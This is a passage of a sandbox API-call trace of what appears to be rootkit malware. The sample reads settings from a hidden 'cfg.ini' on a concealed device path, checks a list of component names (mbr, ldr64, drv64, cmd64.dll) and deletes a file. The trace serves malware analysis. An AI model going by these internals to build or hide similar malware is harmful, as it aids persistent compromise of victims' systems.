ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.828] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.828] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.828] KeLeaveCriticalRegion () [0120.828] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.828] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.828] KeEnterCriticalRegion () [0120.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.828] ExFreePoolWithTag (P=0xfffffa8003bbb390, Tag=0x0) [0120.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.828] KeLeaveCriticalRegion () [0120.829] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.829] ReleaseMutex (hMutex=0xf0) returned 1 [0120.829] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.829] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.829] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.829] KeEnterCriticalRegion () [0120.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.829] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.829] IdePortDispatch () returned 0x103 [0120.829] KeWaitForMutexObject () returned 0x0 [0120.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.829] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.829] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.829] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.829] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.829] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdbc0 [0120.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.829] KeLeaveCriticalRegion () [0120.829] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.829] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.829] KeEnterCriticalRegion () [0120.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.829] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.829] KeLeaveCriticalRegion () [0120.829] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.829] KeEnterCriticalRegion () [0120.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.829] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.829] IdePortDispatch () returned 0x103 [0120.830] KeWaitForMutexObject () returned 0x0 [0120.830] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.830] KeLeaveCriticalRegion () [0120.830] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.830] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.830] KeEnterCriticalRegion () [0120.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.830] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350a000 [0120.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.830] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.830] IdePortDispatch () returned 0x103 [0120.830] KeWaitForMutexObject () returned 0x0 [0120.830] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.830] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.830] IdePortDispatch () returned 0x103 [0120.830] KeWaitForMutexObject () returned 0x0 [0120.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.830] KeLeaveCriticalRegion () [0120.830] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.831] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.831] KeEnterCriticalRegion () [0120.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.831] KeLeaveCriticalRegion () [0120.831] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.831] KeEnterCriticalRegion () [0120.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.831] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.831] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.831] KeLeaveCriticalRegion () [0120.831] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.831] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.831] KeEnterCriticalRegion () [0120.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.831] ExFreePoolWithTag (P=0xfffffa8003bbdbc0, Tag=0x0) [0120.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.831] KeLeaveCriticalRegion () [0120.831] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.831] ReleaseMutex (hMutex=0xf0) returned 1 [0120.831] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.831] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.831] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.831] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.832] KeEnterCriticalRegion () [0120.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.832] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.832] IdePortDispatch () returned 0x103 [0120.832] KeWaitForMutexObject () returned 0x0 [0120.832] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.832] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.832] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.832] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.832] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.832] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.832] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.832] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.832] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.832] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.832] KeLeaveCriticalRegion () [0120.832] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.832] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.832] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.832] KeEnterCriticalRegion () [0120.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.832] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.832] IdePortDispatch () returned 0x103 [0120.832] KeWaitForMutexObject () returned 0x0 [0120.833] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.833] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.833] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.833] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.833] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.833] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.833] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.833] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.833] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.833] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.833] KeLeaveCriticalRegion () [0120.833] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.833] ReleaseMutex (hMutex=0x100) returned 1 [0120.833] Sleep (dwMilliseconds=0x2bf20) [0120.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b387290, dwHighDateTime=0x1d24fa4)) [0120.839] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.839] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.839] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.839] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.839] KeEnterCriticalRegion () [0120.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.840] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.840] IdePortDispatch () returned 0x103 [0120.840] KeWaitForMutexObject () returned 0x0 [0120.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.840] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.840] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.840] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.840] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.840] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd010 [0120.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.840] KeLeaveCriticalRegion () [0120.840] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.840] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.840] KeEnterCriticalRegion () [0120.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.840] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.840] KeLeaveCriticalRegion () [0120.840] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.840] KeEnterCriticalRegion () [0120.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.840] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.840] IdePortDispatch () returned 0x103 [0120.840] KeWaitForMutexObject () returned 0x0 [0120.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.840] KeLeaveCriticalRegion () [0120.841] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.841] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.841] KeEnterCriticalRegion () [0120.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350d000 [0120.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.841] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.841] IdePortDispatch () returned 0x103 [0120.841] KeWaitForMutexObject () returned 0x0 [0120.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.841] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.841] IdePortDispatch () returned 0x103 [0120.841] KeWaitForMutexObject () returned 0x0 [0120.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.841] KeLeaveCriticalRegion () [0120.841] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.842] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.842] KeEnterCriticalRegion () [0120.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.842] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.842] KeLeaveCriticalRegion () [0120.842] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.842] KeEnterCriticalRegion () [0120.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.842] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.842] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd4c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.842] KeLeaveCriticalRegion () [0120.842] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.842] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.842] KeEnterCriticalRegion () [0120.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.842] ExFreePoolWithTag (P=0xfffffa8003bbd010, Tag=0x0) [0120.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.842] KeLeaveCriticalRegion () [0120.842] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.842] ReleaseMutex (hMutex=0xf0) returned 1 [0120.842] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.842] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.842] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.842] KeEnterCriticalRegion () [0120.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.842] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.842] IdePortDispatch () returned 0x103 [0120.842] KeWaitForMutexObject () returned 0x0 [0120.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.843] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.843] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.843] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.843] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.843] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbdc0 [0120.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.843] KeLeaveCriticalRegion () [0120.843] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.843] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.843] KeEnterCriticalRegion () [0120.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.843] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.843] KeLeaveCriticalRegion () [0120.843] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.843] KeEnterCriticalRegion () [0120.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.843] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.843] IdePortDispatch () returned 0x103 [0120.843] KeWaitForMutexObject () returned 0x0 [0120.843] 